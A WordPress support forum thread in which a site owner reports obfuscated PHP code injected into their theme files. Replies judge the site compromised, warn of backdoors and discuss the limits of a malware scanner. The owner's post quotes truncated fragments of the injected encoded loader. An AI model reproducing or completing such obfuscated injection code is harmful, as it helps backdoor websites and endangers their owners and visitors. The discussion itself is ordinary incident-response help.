Code inserted into php files, was I hacked?

  • csinia

    (@chrisasolisgmailcom)


    9 years, 6 months ago

    In seemingly all my PHP pages, what used to be :

    <?php get_header(); ?>

    Has the following PHP code inserted before what is above :

    <?php $ksyusvtspe = ‘:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x78x5c%x782f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~825)!>>%x5c%x7822!ftm7-UVPFNJU,6<*27-SFGTOBSU”%x2f%50%x2e%52%x29%57%x65″,”qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdosv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uq5c%x7825w%x5c%x7860Tx78257%x5c%x….. it goes on a long way ending with…… $eeuxovhjiw=substr($ksyusvtspe,(49243-39130),(51-39)); $eeuxovhjiw($cldgokzydb, $rnaevocehn, NULL); $eeuxovhjiw=$rnaevocehn; $eeuxovhjiw=(514-393); $ksyusvtspe=$eeuxovhjiw-1; ?>

    I have added quite a few plug ins, so I’m nervous about deleting the code without knowing what it is. Any ideas?

Viewing 4 replies - 1 through 4 (of 4 total)
  • Thread Starter csinia

    (@chrisasolisgmailcom)

    9 years, 6 months ago

    Just FYI, I ran Sucuri and it said I’m clean. Do you recommend Sucuri or WordFence?

    The Hack Repair Guy

    (@tvcnet)

    9 years, 6 months ago

    Hi,
    Wordfence is not a cleanup service, so will not be of great help after your site has been compromised.

    Moderator bcworkz

    (@bcworkz)

    9 years, 6 months ago

    IMO, no legitimate plugin would add obfuscated code to all of your PHP files, I’m quite certain your site is compromised. Sucuri scans will not pick up all hacking modes, it can only analyze content sent to it by your server. I may be wrong, but I don’t think it would be that hard to hide from Sucuri if a hacker were determined enough.

    If by some small chance I’m wrong and removing the code borks one of your plugins, you could always reinstall it as if it were newly acquired. Be prepared for the experience where removing all of this results in it returning shortly via some hidden back door.

    Daniel Cid

    (@ddsucurinet)

    9 years, 5 months ago

    @bcworkz: We explain here how our free sitecheck works:

    http://blog.sucuri.net/2012/10/ask-sucuri-how-does-sitecheck-work.html

    The free sitecheck will not pick up all types of injections, specially backdoors and phishing. For a full audit, we have our paid server-side scanner that has a more comprehensive approach (a lot harder to bypass).

    @csinia: This type of code is very common lately and I think related to:

    http://blog.sucuri.net/2014/10/wordpress-websites-continue-to-get-hacked-via-mailpoet-plugin-vulnerability.html

    But since that’s an old post, the payload may have changed.

Viewing 4 replies - 1 through 4 (of 4 total)
  • The topic ‘Code inserted into php files, was I hacked?’ is closed to new replies.

Tags